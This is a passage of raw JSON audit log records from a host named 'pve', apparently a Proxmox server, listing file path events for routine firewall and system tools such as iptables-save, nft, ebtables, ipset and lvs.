cap_frootid=0"} {"@timestamp":1781964785651,"@rawstring":"node=pve type=PATH msg=audit(1781964785.651:62583): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785646,"@rawstring":"node=pve type=PATH msg=audit(1781964785.646:62582): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785646,"@rawstring":"node=pve type=PATH msg=audit(1781964785.646:62582): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785644,"@rawstring":"node=pve type=PATH msg=audit(1781964785.644:62581): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785644,"@rawstring":"node=pve type=PATH msg=audit(1781964785.644:62581): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785644,"@rawstring":"node=pve type=PATH msg=audit(1781964785.644:62580): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785644,"@rawstring":"node=pve type=PATH msg=audit(1781964785.644:62579): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785640,"@rawstring":"node=pve type=PATH msg=audit(1781964785.640:62578): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785640,"@rawstring":"node=pve type=PATH msg=audit(1781964785.640:62578): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785633,"@rawstring":"node=pve type=PATH msg=audit(1781964785.633:62577): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785633,"@rawstring":"node=pve type=PATH msg=audit(1781964785.633:62577): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785633,"@rawstring":"node=pve type=PATH msg=audit(1781964785.633:62576): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785633,"@rawstring":"node=pve type=PATH msg=audit(1781964785.633:62576): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785633,"@rawstring":"node=pve type=PATH msg=audit(1781964785.633:62575): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785633,"@rawstring":"node=pve type=PATH msg=audit(1781964785.633:62574): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785627,"@rawstring":"node=pve type=PATH msg=audit(1781964785.627:62573): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785627,"@rawstring":"node=pve type=PATH msg=audit(1781964785.627:62573): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785624,"@rawstring":"node=pve type=PATH msg=audit(1781964785.624:62572): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785624,"@rawstring":"node=pve type=PATH msg=audit(1781964785.624:62572): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785622,"@rawstring":"node=pve type=PATH msg=audit(1781964785.622:62571): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785622,"@rawstring":"node=pve type=PATH msg=audit(1781964785.622:62571): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785621,"@rawstring":"node=pve type=PATH msg=audit(1781964785.621:62570): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785621,"@rawstring":"node=pve type=PATH msg=audit(1781964785.621:62570): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785621,"@rawstring":"node=pve type=PATH msg=audit(1781964785.621:62569): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785617,"@rawstring":"node=pve type=PATH msg=audit(1781964785.617:62568): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785617,"@rawstring":"node=pve type=PATH msg=audit(1781964785.617:62568): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785617,"@rawstring":"node=pve type=PATH msg=audit(1781964785.617:62568): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785611,"@rawstring":"node=pve type=PATH msg=audit(1781964785.611:62567): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785611,"@rawstring":"node=pve type=PATH msg=audit(1781964785.611:62567): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785606,"@rawstring":"node=pve type=PATH msg=audit(1781964785.606:62566): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785606,"@rawstring":"node=pve type=PATH msg=audit(1781964785.606:62566): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785601,"@rawstring":"node=pve type=PATH msg=audit(1781964785.601:62565): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785601,"@rawstring":"node=pve type=PATH msg=audit(1781964785.601:62565): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785595,"@rawstring":"node=pve type=PATH msg=audit(1781964785.595:62564): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785595,"@rawstring":"node=pve type=PATH msg=audit(1781964785.595:62564): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785588,"@rawstring":"node=pve type=PATH msg=audit(1781964785.588:62563): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785588,"@rawstring":"node=pve type=PATH msg=audit(1781964785.588:62563): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964784839,"@rawstring":"node=pve type=PATH msg=audit(1781964784.839:62562): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964784839,"@rawstring":"node=pve type=PATH msg=audit(1781964784.839:62562): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964784814,"@rawstring":"node=pve type=PATH msg=audit(1781964784.814:62561): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964784814,"@rawstring":"node=pve type=PATH msg=audit(1781964784.814:62561): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964780623,"@rawstring":"node=pve type=PATH msg=audit(1781964780.623:62560): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964780623,"@rawstring":"node=pve type=PATH msg=audit(1781964780.623:62560): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964780623,"@rawstring":"node=pve type=PATH msg=audit(1781964780.623:62559): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964780623,"@rawstring":"node=pve type=PATH msg=audit(1781964780.623:62558): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964780608,"@rawstring":"node=pve type=PATH msg=audit(1781964780.608:62557): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964780608,"@rawstring":"node=pve type=PATH msg=audit(1781964780.608:62557): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964780608,"@rawstring":"node=pve type=PATH msg=audit(1781964780.608:62556): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964780607,"@rawstring":"node=pve type=PATH msg=audit(1781964780.607:62555): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775599,"@rawstring":"node=pve type=PATH msg=audit(1781964775.599:62554): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775599,"@rawstring":"node=pve type=PATH msg=audit(1781964775.599:62554): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775599,"@rawstring":"node=pve type=PATH msg=audit(1781964775.599:62553): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775599,"@rawstring":"node=pve type=PATH msg=audit(1781964775.599:62552): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775591,"@rawstring":"node=pve type=PATH msg=audit(1781964775.591:62551): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775591,"@rawstring":"node=pve type=PATH msg=audit(1781964775.591:62551): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775591,"@rawstring":"node=pve type=PATH msg=audit(1781964775.591:62550): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775591,"@rawstring":"node=pve type=PATH msg=audit(1781964775.591:62549): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775577,"@rawstring":"node=pve type=PATH msg=audit(1781964775.577:62548): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775577,"@rawstring":"node=pve type=PATH msg=audit(1781964775.577:62548): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775573,"@rawstring":"node=pve type=PATH msg=audit(1781964775.573:62547): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775573,"@rawstring":"node=pve type=PATH msg=audit(1781964775.573:62547): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775573,"@rawstring":"node=pve type=PATH msg=audit(1781964775.573:62546): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775573,"@rawstring":"node=pve type=PATH msg=audit(1781964775.573:62546): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775573,"@rawstring":"node=pve type=PATH msg=audit(1781964775.573:62545): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775569,"@rawstring":"node=pve type=PATH msg=audit(1781964775.569:62544): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775569,"@rawstring":"node=pve type=PATH msg=audit(1781964775.569:62544): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775569,"@rawstring":"node=pve type=PATH msg=audit(1781964775.569:62544): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775563,"@rawstring":"node=pve type=PATH msg=audit(1781964775.563:62543): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775563,"@rawstring":"node=pve type=PATH msg=audit(1781964775.563:62543): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775557,"@rawstring":"node=pve type=PATH msg=audit(1781964775.557:62542): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775557,"@rawstring":"node=pve type=PATH msg=audit(1781964775.557:62542): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775550,"@rawstring":"node=pve type=PATH msg=audit(1781964775.550:62541): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775550,"@rawstring":"node=pve type=PATH msg=audit(1781964775.550:62541): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775543,"@rawstring":"node=pve type=PATH msg=audit(1781964775.543:62540): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775543,"@rawstring":"node=pve type=PATH msg=audit(1781964775.543:62540): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775538,"@rawstring":"node=pve type=PATH msg=audit(1781964775.538:62538): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775538,"@rawstring":"node=pve type=PATH msg=audit(1781964775.538:62538): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775533,"@rawstring":"node=pve type=PATH msg=audit(1781964775.533:62537): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775533,"@rawstring":"node=pve type=PATH msg=audit(1781964775.533:62537): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775529,"@rawstring":"node=pve type=PATH msg=audit(1781964775.529:62536): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775529,"@rawstring":"node=pve type=PATH msg=audit(1781964775.529:62536): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775524,"@rawstring":"node=pve type=PATH msg=audit(1781964775.524:62535): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775524,"@rawstring":"node=pve type=PATH msg=audit(1781964775.524:62535): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775518,"@rawstring":"node=pve type=PATH msg=audit(1781964775.518:62534): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775518,"@rawstring":"node=pve type=PATH msg=audit(1781964775.518:62534): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775513,"@rawstring":"node=pve type=PATH msg=audit(1781964775.513:62533): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775513,"@rawstring":"node=pve type=PATH msg=audit(1781964775.513:62533): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775507,"@rawstring":"node=pve type=PATH msg=audit(1781964775.507:62532): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775507,"@rawstring":"node=pve type=PATH msg=audit(1781964775.507:62532): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775501,"@rawstring":"node=pve type=PATH msg=audit(1781964775.501:62531): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775501,"@rawstring":"node=pve type=PATH msg=audit(1781964775.501:62531): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775497,"@rawstring":"node=pve type=PATH msg=audit(1781964775.497:62530): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775497,"@rawstring":"node=pve type=PATH msg=audit(1781964775.497:62530): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775494,"@rawstring":"node=pve type=PATH msg=audit(1781964775.494:62529): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775494,"@rawstring":"node=pve type=PATH msg=audit(1781964775.494:62529): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775493,"@rawstring":"node=pve type=PATH msg=audit(1781964775.493:62528): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" 